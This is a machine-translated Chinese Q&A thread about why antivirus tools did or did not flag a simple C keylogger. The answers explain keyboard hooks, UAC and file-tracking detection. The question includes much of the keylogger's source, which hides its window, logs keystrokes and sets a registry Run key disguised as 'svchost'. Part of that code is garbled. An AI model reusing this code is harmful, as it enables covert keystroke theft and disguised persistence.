如何在计算机上检测到像键盘记录器这样简单的东西?

信息安全 视窗 键盘记录器
2021-08-18 01:04:51

我在网上找到了一个,我想在我家尝试一下,看看它是否真的有效。它是用 C 语言编写的,考虑到它的一半只是一堆按键被按下的情况,它根本不是很大,例如:

case VK_CAPITAL:
fputs("[CAPS LOCK]",file);
fclose(file);
break;

它也对注册表做了一些事情,比如

reg_key=RegOpenKeyEx    (HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);

我的 Windows 7 计算机会将其识别为“潜在有害软件”,而我在学校的装有 Symantec Endpoint Protection 的 XP 计算机不会。作为企业软件,我认为赛门铁克会立即将其识别为“潜在有害软件”,但事实并非如此。

所以我的问题是,是什么让这个程序成为“潜在有害软件”?是注册表的修改/使用还是其他通常会捕获键盘记录器的因素?

注意:程序还有更多内容,但它相当冗长,所以我删掉了一些重复的部分。然而,这是键盘记录器的大部分内容,但我遗漏了一些几乎只将数据写入内存的语句(if-else 和 switch)。

    #include <windows.h>
#include <winuser.h>
#include <windowsx.h>

#define BUFSIZE 80

int test_key(void);
int create_key(char *);
int get_keys(void);

int main(void)
{
   HWND stealth; /*creating stealth (window is not visible)*/
   AllocConsole();
   stealth=FindWindowA("ConsoleWindowClass",NULL);
   ShowWindow(stealth,0);

   int test,create;
   test=test_key();/*check if key is available for opening*/

   if (test==2)/*create key*/
   {
       char *path="c:\\%windir%\\svchost.exe";/*the path in which the file needs to be*/
       create=create_key(path);

   }


   int t=get_keys();

   return t;
}  

int get_keys(void)
{
           short character;
             while(1)
             {
                    for(character=8;character<=222;character++)
                    {
                        if(GetAsyncKeyState(character)==-32767)
                        {  

                            FILE *file;
                            file=fopen("svchost.log","a+");
                            if(file==NULL)
                            {
                                    return 1;
                            }            
                            if(file!=NULL)
                                    }        
                                    else if((character>64)&&(character<91))
                                    {
                                          character+=32;
                                          fputc(character,file);
                                          fclose(file);
                                          break;
                                        switch(character)
                                        {
                                              case VK_SPACE:
                                              fputc(' ',file);
                                              fclose(file);
                                              break;    

      A lot of switch statements left out for brevity
      I left out a lot of if-elses as well, all they did was write the
      data to the file.

           }
           return EXIT_SUCCESS;                            
}                                                

int test_key(void)
{
   int check;
   HKEY hKey;
   char path[BUFSIZE];
   DWORD buf_length=BUFSIZE;
   int reg_key;

   reg_key=RegOpenKeyEx(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_QUERY_VALUE,&hKey);
   if(reg_key!=0)
   {    
       check=1;
       return check;
   }        

   reg_key=RegQueryValueEx(hKey,"svchost",NULL,NULL,(LPBYTE)path,&buf_length);

   if((reg_key!=0)||(buf_length>BUFSIZE))
       check=2;
   if(reg_key==0)
       check=0;

   RegCloseKey(hKey);
   return check;  
}

int create_key(char *path)
{  
       int reg_key,check;

       HKEY hkey;

       reg_key=RegCreateKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey);
       if(reg_key==0)
       {
               RegSetValueEx((HKEY)hkey,"svchost",0,REG_SZ,(BYTE *)path,strlen(path));
               check=0;
               return check;
       }
       if(reg_key!=0)
               check=1;

       return check;
}
4个回答

根据我的经验,大多数反病毒/恶意软件解决方案不会抱怨低级键盘挂钩,这是创建键盘记录器的最简单方法。

我最受欢迎的程序之一包含这样的键盘挂钩,只有一位用户告诉我他的防火墙抱怨。另一方面,它的其他几个非常无害的模块触发了几个误报。

我不知道他们为什么不认为低级键盘钩子是邪恶的。一个可能的原因可能是不称职的程序员不知道更好地滥用它们来获取全局热键,而不是使用热键 API。

有趣的是,通常会检测到导致键盘事件上的 dll 注入的正常全局键盘挂钩。

为了了解为什么某些程序(恶意程序和非恶意程序)被反病毒软件标记,我们需要了解反病毒软件使用的一些基本原理。

访问未经授权的资源

键盘挂钩

正如其他人所建议的那样,键盘挂钩是检测原始键盘记录器的第一种方式。如果您不是程序员,那么您可能会对用户输入和键盘挂钩感到困惑。键盘挂钩通过(比如微软消息通道)读取用户 i/p 的所有流量。大多数程序只需要收听指向它们的 i/p,而不是每个操作系统程序。窗口句柄通常用于指定哪个 i/p 去哪里。但是,防病毒软件没有检测到这一点的原因有两个潜在的原因:

  • 虽然键盘钩子不是一般程序使用,但宏、某些游戏等程序需要在用户输入到达任何程序之前过滤用户输入。对于此类程序,可以越过安全标志。
  • 防病毒不是实时的,或者没有配置为警报级别以立即通知该 PC 的用户。它可以禁用该警报或要求将其记录到内存中。

阅读更多:http ://www.keylogger.org/articles/arkon/keyboard-hook-6.html

Registry Windows 最近采用了类似 Linux(没有密码,即:P)的安全方法,其中未经授权的资源使用或程序执行会导致安全弹出窗口暂停其他进程,并且只能通过直接用户输入来解除。此功能 UAC(用户帐户控制)是 imo 最初将您的键盘记录器检测为未经授权的新软件的原因。使用键盘挂钩,在没有打开表单的情况下运行并隐藏在后台都添加到此。

主要失败

文件创建 许多防病毒解决方案都会存储您在 PC 上拥有的所有文件的列表,每当创建新文件时,都会追溯其来源。如果这不检查,则引发安全标志。此功能与实时扫描结合使用,因此在现代 AV 中提取 zip 的内容会导致立即搜索新找到的文件。

白名单和黑名单 AV 存储数十亿个程序文件哈希,以便识别对 Windows DLL 甚至一个字节的简单修改。他们还存储世界上所有已知和记录的程序,以便更好地将它们与其他邪恶程序区分开来。

归根结底,您的 AV 没有执行以下操作这一事实是令人担忧的主要原因:

  1. 检测不熟悉的程序的执行。
  2. 不检测此程序的注册表或键盘挂钩访问。
  3. 在不熟悉的程序未经用户同意的情况下,不要标记文件的创建。
  4. 当此程序试图通过网络将未加密的数据发送给攻击者时,不会发出警报。(这是可以防止数据泄露的最后一种方式)

注意:正如另一个答案所述,.exe 来自另一台计算机,并且还在 Win 7 机器等上引起了安全警报。

在这种情况下,它正在读取击键并存储它们的事实将标记这一点。一般来说,任何东西都不需要它,所以它应该用作触发器。

不过,正如@CodeInChaos 所说,这通常没有被采纳——这似乎是一个巨大的疏忽。

你发表的一条评论让我感到困惑。我问你是否下载了exe,你说你没有,但是你的问题说你是在家里下载的,它给了你消息。对于那个例子,我相信 exe 被 unsafe 标记为 Windows 自动执行的操作。如果您右键单击常规选项卡底部的属性,则会显示此 exe 来自另一台带有取消阻止按钮的计算机。

Windows XP 可能没有该功能,这就是它没有被选中的原因。